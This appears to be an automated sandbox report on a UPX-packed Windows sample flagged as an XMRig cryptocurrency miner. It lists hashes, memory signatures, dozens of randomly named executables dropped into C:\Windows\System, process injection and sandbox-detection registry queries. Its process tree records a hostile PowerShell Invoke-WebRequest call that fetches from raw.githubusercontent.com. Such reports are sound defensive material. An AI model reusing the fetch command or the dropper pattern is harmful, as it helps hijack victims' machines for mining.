xmrig | a8adf5fae8c2ffc574bae91d717758af93c27ba02e77110e4cd3dc21fb37b8d2

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
01-05-2024 07:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
Size

1.9MB
MD5

0b5da1706a431139af73f3605fdfcfe6
SHA1

1351fa641ff85152c6856bb83b344a6b7f533de8
SHA256

a8adf5fae8c2ffc574bae91d717758af93c27ba02e77110e4cd3dc21fb37b8d2
SHA512

ea71e741870a4a48e5908877b15d611eff7affdea8b2e25ddc6f90ac88d64767b770673eebc6ea3139da172f01709720254bc035377b504b66d10244d1270ae9
SSDEEP

49152:Lz071uv4BPMkibTIA5KIP7nTrmBhihM5xC+U1W:NABl

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 42 IoCs

miner

resource	yara_rule
behavioral2/memory/2464-494-0x00007FF759F00000-0x00007FF75A2F2000-memory.dmp	xmrig
behavioral2/memory/2864-615-0x00007FF769680000-0x00007FF769A72000-memory.dmp	xmrig
behavioral2/memory/2404-614-0x00007FF660750000-0x00007FF660B42000-memory.dmp	xmrig
behavioral2/memory/4852-613-0x00007FF609800000-0x00007FF609BF2000-memory.dmp	xmrig
behavioral2/memory/2188-612-0x00007FF6E0DE0000-0x00007FF6E11D2000-memory.dmp	xmrig
behavioral2/memory/3528-557-0x00007FF764890000-0x00007FF764C82000-memory.dmp	xmrig
behavioral2/memory/3504-493-0x00007FF6247A0000-0x00007FF624B92000-memory.dmp	xmrig
behavioral2/memory/912-454-0x00007FF6FC880000-0x00007FF6FCC72000-memory.dmp	xmrig
behavioral2/memory/844-453-0x00007FF7E1B90000-0x00007FF7E1F82000-memory.dmp	xmrig
behavioral2/memory/5024-384-0x00007FF7B2350000-0x00007FF7B2742000-memory.dmp	xmrig
behavioral2/memory/4888-356-0x00007FF6964D0000-0x00007FF6968C2000-memory.dmp	xmrig
behavioral2/memory/3976-355-0x00007FF783100000-0x00007FF7834F2000-memory.dmp	xmrig
behavioral2/memory/5048-291-0x00007FF6CCCD0000-0x00007FF6CD0C2000-memory.dmp	xmrig
behavioral2/memory/3280-290-0x00007FF7458E0000-0x00007FF745CD2000-memory.dmp	xmrig
behavioral2/memory/5088-237-0x00007FF7BB1F0000-0x00007FF7BB5E2000-memory.dmp	xmrig
behavioral2/memory/4584-187-0x00007FF788170000-0x00007FF788562000-memory.dmp	xmrig
behavioral2/memory/3824-186-0x00007FF7DB600000-0x00007FF7DB9F2000-memory.dmp	xmrig
behavioral2/memory/2312-115-0x00007FF7396D0000-0x00007FF739AC2000-memory.dmp	xmrig
behavioral2/memory/3256-73-0x00007FF7518E0000-0x00007FF751CD2000-memory.dmp	xmrig
behavioral2/memory/2972-53-0x00007FF697540000-0x00007FF697932000-memory.dmp	xmrig
behavioral2/memory/2612-44-0x00007FF7159D0000-0x00007FF715DC2000-memory.dmp	xmrig
behavioral2/memory/2612-6383-0x00007FF7159D0000-0x00007FF715DC2000-memory.dmp	xmrig
behavioral2/memory/2972-6379-0x00007FF697540000-0x00007FF697932000-memory.dmp	xmrig
behavioral2/memory/3280-6391-0x00007FF7458E0000-0x00007FF745CD2000-memory.dmp	xmrig
behavioral2/memory/5088-6387-0x00007FF7BB1F0000-0x00007FF7BB5E2000-memory.dmp	xmrig
behavioral2/memory/2312-6398-0x00007FF7396D0000-0x00007FF739AC2000-memory.dmp	xmrig
behavioral2/memory/3256-6395-0x00007FF7518E0000-0x00007FF751CD2000-memory.dmp	xmrig
behavioral2/memory/4584-6404-0x00007FF788170000-0x00007FF788562000-memory.dmp	xmrig
behavioral2/memory/3824-6410-0x00007FF7DB600000-0x00007FF7DB9F2000-memory.dmp	xmrig
behavioral2/memory/2188-6402-0x00007FF6E0DE0000-0x00007FF6E11D2000-memory.dmp	xmrig
behavioral2/memory/4888-6446-0x00007FF6964D0000-0x00007FF6968C2000-memory.dmp	xmrig
behavioral2/memory/5024-6444-0x00007FF7B2350000-0x00007FF7B2742000-memory.dmp	xmrig
behavioral2/memory/2404-6440-0x00007FF660750000-0x00007FF660B42000-memory.dmp	xmrig
behavioral2/memory/844-6438-0x00007FF7E1B90000-0x00007FF7E1F82000-memory.dmp	xmrig
behavioral2/memory/5048-6433-0x00007FF6CCCD0000-0x00007FF6CD0C2000-memory.dmp	xmrig
behavioral2/memory/2864-6424-0x00007FF769680000-0x00007FF769A72000-memory.dmp	xmrig
behavioral2/memory/912-6417-0x00007FF6FC880000-0x00007FF6FCC72000-memory.dmp	xmrig
behavioral2/memory/3976-6449-0x00007FF783100000-0x00007FF7834F2000-memory.dmp	xmrig
behavioral2/memory/3504-6430-0x00007FF6247A0000-0x00007FF624B92000-memory.dmp	xmrig
behavioral2/memory/3528-6428-0x00007FF764890000-0x00007FF764C82000-memory.dmp	xmrig
behavioral2/memory/4852-6468-0x00007FF609800000-0x00007FF609BF2000-memory.dmp	xmrig
behavioral2/memory/2464-6493-0x00007FF759F00000-0x00007FF75A2F2000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	4452	powershell.exe
6	4452	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2612	otNYPXO.exe
2972	ELvKxfZ.exe
3256	gXjPDZU.exe
2312	mdBITzI.exe
3824	qcqFhmG.exe
4584	gMKJvJM.exe
2188	CYoMdtx.exe
5088	rkWjWSc.exe
3280	ogLHqaP.exe
4852	GeMhJTu.exe
5048	LwPfbgK.exe
3976	ohVsxIL.exe
4888	eyiuXYW.exe
5024	yXGrygG.exe
844	BnpEspD.exe
2404	njrqYwu.exe
912	ZqqqViw.exe
3504	xNzYANO.exe
2464	JvXsqkW.exe
3528	FVZvMhh.exe
2864	JFMRWhj.exe
2212	QIMjGHd.exe
2536	PeiKucv.exe
2804	qTzLlWd.exe
2156	OKJnxbD.exe
4736	TgIQJVs.exe
2424	GSlhYjB.exe
2060	WYKDHNV.exe
2492	mGzBUEY.exe
1428	YPxgRBD.exe
4380	xfLzmmf.exe
4548	euPJIYT.exe
944	rsICDdb.exe
2304	KHLbrOF.exe
3896	lJuyRRS.exe
1332	lGFsHCF.exe
4684	CHtGqjy.exe
4932	SyvWojt.exe
5116	WPrlWmO.exe
4472	ftSLGoa.exe
1568	grNfMgN.exe
4924	kkDepjH.exe
2064	vqQztLT.exe
2524	GzessEf.exe
976	UfkzFqr.exe
4592	UxzNIlI.exe
2140	hlVLqae.exe
4412	XxgnDxe.exe
4368	mNHxzwW.exe
3044	szXpEOP.exe
3180	loPdFYk.exe
3924	ekXAivE.exe
4228	kuoUUCx.exe
4280	ruRomaX.exe
1048	zVEzqub.exe
5076	ysmIjSO.exe
1040	SxuGbGM.exe
3300	DTMVyKW.exe
1328	XyMLcmZ.exe
3216	eRHwdAx.exe
4252	ymbYstZ.exe
3708	caThvfB.exe
4200	zTOHTaL.exe
980	LImUgdr.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4912-0-0x00007FF69ACC0000-0x00007FF69B0B2000-memory.dmp	upx
behavioral2/files/0x000600000002297c-7.dat	upx
behavioral2/files/0x0008000000023382-6.dat	upx
behavioral2/files/0x0006000000022f40-14.dat	upx
behavioral2/files/0x0008000000023383-21.dat	upx
behavioral2/files/0x000700000002343a-175.dat	upx
behavioral2/memory/2464-494-0x00007FF759F00000-0x00007FF75A2F2000-memory.dmp	upx
behavioral2/memory/2864-615-0x00007FF769680000-0x00007FF769A72000-memory.dmp	upx
behavioral2/memory/2404-614-0x00007FF660750000-0x00007FF660B42000-memory.dmp	upx
behavioral2/memory/4852-613-0x00007FF609800000-0x00007FF609BF2000-memory.dmp	upx
behavioral2/memory/2188-612-0x00007FF6E0DE0000-0x00007FF6E11D2000-memory.dmp	upx
behavioral2/memory/3528-557-0x00007FF764890000-0x00007FF764C82000-memory.dmp	upx
behavioral2/memory/3504-493-0x00007FF6247A0000-0x00007FF624B92000-memory.dmp	upx
behavioral2/memory/912-454-0x00007FF6FC880000-0x00007FF6FCC72000-memory.dmp	upx
behavioral2/memory/844-453-0x00007FF7E1B90000-0x00007FF7E1F82000-memory.dmp	upx
behavioral2/memory/5024-384-0x00007FF7B2350000-0x00007FF7B2742000-memory.dmp	upx
behavioral2/memory/4888-356-0x00007FF6964D0000-0x00007FF6968C2000-memory.dmp	upx
behavioral2/memory/3976-355-0x00007FF783100000-0x00007FF7834F2000-memory.dmp	upx
behavioral2/memory/5048-291-0x00007FF6CCCD0000-0x00007FF6CD0C2000-memory.dmp	upx
behavioral2/memory/3280-290-0x00007FF7458E0000-0x00007FF745CD2000-memory.dmp	upx
behavioral2/memory/5088-237-0x00007FF7BB1F0000-0x00007FF7BB5E2000-memory.dmp	upx
behavioral2/files/0x0008000000023433-199.dat	upx
behavioral2/files/0x0007000000023443-196.dat	upx
behavioral2/files/0x0007000000023442-195.dat	upx
behavioral2/files/0x0007000000023441-194.dat	upx
behavioral2/files/0x0008000000023435-193.dat	upx
behavioral2/files/0x0007000000023440-190.dat	upx
behavioral2/files/0x000700000002343f-189.dat	upx
behavioral2/memory/4584-187-0x00007FF788170000-0x00007FF788562000-memory.dmp	upx
behavioral2/memory/3824-186-0x00007FF7DB600000-0x00007FF7DB9F2000-memory.dmp	upx
behavioral2/files/0x000700000002343e-184.dat	upx
behavioral2/files/0x00080000000233a6-181.dat	upx
behavioral2/files/0x000800000002339d-180.dat	upx
behavioral2/files/0x000700000002343b-176.dat	upx
behavioral2/files/0x0007000000023439-174.dat	upx
behavioral2/files/0x0007000000023438-171.dat	upx
behavioral2/files/0x000800000002339c-164.dat	upx
behavioral2/files/0x000800000002339b-159.dat	upx
behavioral2/files/0x0007000000023437-156.dat	upx
behavioral2/files/0x0007000000023436-155.dat	upx
behavioral2/files/0x0008000000023397-148.dat	upx
behavioral2/files/0x0008000000023395-142.dat	upx
behavioral2/files/0x000800000002339e-137.dat	upx
behavioral2/files/0x0009000000023432-135.dat	upx
behavioral2/files/0x000900000002342d-132.dat	upx
behavioral2/files/0x00080000000233a7-131.dat	upx
behavioral2/files/0x000700000002343d-182.dat	upx
behavioral2/files/0x0008000000023388-127.dat	upx
behavioral2/files/0x000700000002343c-177.dat	upx
behavioral2/memory/2312-115-0x00007FF7396D0000-0x00007FF739AC2000-memory.dmp	upx
behavioral2/files/0x00080000000233a4-163.dat	upx
behavioral2/files/0x00080000000233a3-112.dat	upx
behavioral2/files/0x00080000000233a2-111.dat	upx
behavioral2/files/0x0008000000023396-107.dat	upx
behavioral2/files/0x0008000000023385-87.dat	upx
behavioral2/files/0x0008000000023389-84.dat	upx
behavioral2/files/0x0008000000023386-80.dat	upx
behavioral2/files/0x00080000000233a5-118.dat	upx
behavioral2/files/0x000d000000023394-92.dat	upx
behavioral2/memory/3256-73-0x00007FF7518E0000-0x00007FF751CD2000-memory.dmp	upx
behavioral2/files/0x000a00000002338a-38.dat	upx
behavioral2/memory/2972-53-0x00007FF697540000-0x00007FF697932000-memory.dmp	upx
behavioral2/files/0x000a00000002338c-46.dat	upx
behavioral2/memory/2612-44-0x00007FF7159D0000-0x00007FF715DC2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\dDtsuPT.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\AOKKqIm.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\UNLpNIq.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\KlWByWa.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\lDfnzdZ.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\FWOTBDQ.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\UfTUqIi.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\BteGWTd.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\oXLxxbR.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\LGHuqDL.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\RDmpBfH.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\IyREKHf.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\zfkRdCj.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\OXOrThR.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\Bsqlhlp.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\CpZfzTA.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\xMnVzNf.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\wHXiYWa.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\jwApgYv.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\CsFtXBI.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\msqwPDZ.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\uwihoOd.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\bhFAiUB.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\CnTBJFU.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\qqzVALs.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\riHuScs.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\hckrHac.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\rPkIynU.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\JexsVHr.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\lfseAaX.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\cIfWzzP.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\KKYIWWO.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\pHRAotk.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\qRIJzvs.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\DfGzEUg.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\IWNcqhl.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\pngIhQU.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\GqMhamS.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\FfehVJr.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\JIVGgNT.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\VPwZqRO.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\cXEpVUb.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\EScAYPX.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\GcAHmHy.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\bzgillz.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\ISUGyfq.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\fppgjnq.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\BSCbhTw.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\LtHTvLH.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\WmxwZaR.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\vhUDMYD.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\nYqNipC.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\ytKuaeZ.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\nxTnooG.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\HgMcjig.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\YNmxauX.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\AzHHAQw.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\ocRBegv.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\OMChslI.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\eConDrR.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\yxcHHxV.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\zkyjVcF.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\toPtNsT.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
File created	C:\Windows\System\dPIofnn.exe	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4452	powershell.exe
4452	powershell.exe
4452	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeLockMemoryPrivilege	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4912 wrote to memory of 4452	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	85
PID 4912 wrote to memory of 4452	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	85
PID 4912 wrote to memory of 2612	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	86
PID 4912 wrote to memory of 2612	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	86
PID 4912 wrote to memory of 2972	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	87
PID 4912 wrote to memory of 2972	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	87
PID 4912 wrote to memory of 3256	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	88
PID 4912 wrote to memory of 3256	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	88
PID 4912 wrote to memory of 2312	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	89
PID 4912 wrote to memory of 2312	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	89
PID 4912 wrote to memory of 3824	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	90
PID 4912 wrote to memory of 3824	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	90
PID 4912 wrote to memory of 4584	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	91
PID 4912 wrote to memory of 4584	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	91
PID 4912 wrote to memory of 4852	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	92
PID 4912 wrote to memory of 4852	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	92
PID 4912 wrote to memory of 2188	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	93
PID 4912 wrote to memory of 2188	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	93
PID 4912 wrote to memory of 5088	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	94
PID 4912 wrote to memory of 5088	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	94
PID 4912 wrote to memory of 3280	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	95
PID 4912 wrote to memory of 3280	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	95
PID 4912 wrote to memory of 5048	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	96
PID 4912 wrote to memory of 5048	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	96
PID 4912 wrote to memory of 3976	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	97
PID 4912 wrote to memory of 3976	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	97
PID 4912 wrote to memory of 4888	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	98
PID 4912 wrote to memory of 4888	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	98
PID 4912 wrote to memory of 5024	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	99
PID 4912 wrote to memory of 5024	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	99
PID 4912 wrote to memory of 844	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	100
PID 4912 wrote to memory of 844	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	100
PID 4912 wrote to memory of 2404	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	101
PID 4912 wrote to memory of 2404	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	101
PID 4912 wrote to memory of 912	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	102
PID 4912 wrote to memory of 912	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	102
PID 4912 wrote to memory of 3504	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	103
PID 4912 wrote to memory of 3504	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	103
PID 4912 wrote to memory of 2464	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	104
PID 4912 wrote to memory of 2464	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	104
PID 4912 wrote to memory of 3528	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	105
PID 4912 wrote to memory of 3528	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	105
PID 4912 wrote to memory of 2492	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	106
PID 4912 wrote to memory of 2492	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	106
PID 4912 wrote to memory of 2864	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	107
PID 4912 wrote to memory of 2864	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	107
PID 4912 wrote to memory of 2212	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	108
PID 4912 wrote to memory of 2212	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	108
PID 4912 wrote to memory of 2536	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	109
PID 4912 wrote to memory of 2536	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	109
PID 4912 wrote to memory of 2804	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	110
PID 4912 wrote to memory of 2804	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	110
PID 4912 wrote to memory of 2156	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	111
PID 4912 wrote to memory of 2156	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	111
PID 4912 wrote to memory of 4736	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	112
PID 4912 wrote to memory of 4736	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	112
PID 4912 wrote to memory of 2424	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	113
PID 4912 wrote to memory of 2424	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	113
PID 4912 wrote to memory of 2060	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	114
PID 4912 wrote to memory of 2060	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	114
PID 4912 wrote to memory of 1428	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	115
PID 4912 wrote to memory of 1428	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	115
PID 4912 wrote to memory of 4380	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	116
PID 4912 wrote to memory of 4380	4912	0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe	116

C:\Users\Admin\AppData\Local\Temp\0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0b5da1706a431139af73f3605fdfcfe6_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4452
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4452" "3000" "2924" "3004" "0" "0" "3008" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:13952
- C:\Windows\System\otNYPXO.exe
  C:\Windows\System\otNYPXO.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Windows\System\ELvKxfZ.exe
  C:\Windows\System\ELvKxfZ.exe
  2⤵
  - Executes dropped EXE
  PID:2972
- C:\Windows\System\gXjPDZU.exe
  C:\Windows\System\gXjPDZU.exe
  2⤵
  - Executes dropped EXE
  PID:3256
- C:\Windows\System\mdBITzI.exe
  C:\Windows\System\mdBITzI.exe
  2⤵
  - Executes dropped EXE
  PID:2312
- C:\Windows\System\qcqFhmG.exe
  C:\Windows\System\qcqFhmG.exe
  2⤵
  - Executes dropped EXE
  PID:3824
- C:\Windows\System\gMKJvJM.exe
  C:\Windows\System\gMKJvJM.exe
  2⤵
  - Executes dropped EXE
  PID:4584
- C:\Windows\System\GeMhJTu.exe
  C:\Windows\System\GeMhJTu.exe
  2⤵
  - Executes dropped EXE
  PID:4852
- C:\Windows\System\CYoMdtx.exe
  C:\Windows\System\CYoMdtx.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\rkWjWSc.exe
  C:\Windows\System\rkWjWSc.exe
  2⤵
  - Executes dropped EXE
  PID:5088
- C:\Windows\System\ogLHqaP.exe
  C:\Windows\System\ogLHqaP.exe
  2⤵
  - Executes dropped EXE
  PID:3280
- C:\Windows\System\LwPfbgK.exe
  C:\Windows\System\LwPfbgK.exe
  2⤵
  - Executes dropped EXE
  PID:5048
- C:\Windows\System\ohVsxIL.exe
  C:\Windows\System\ohVsxIL.exe
  2⤵
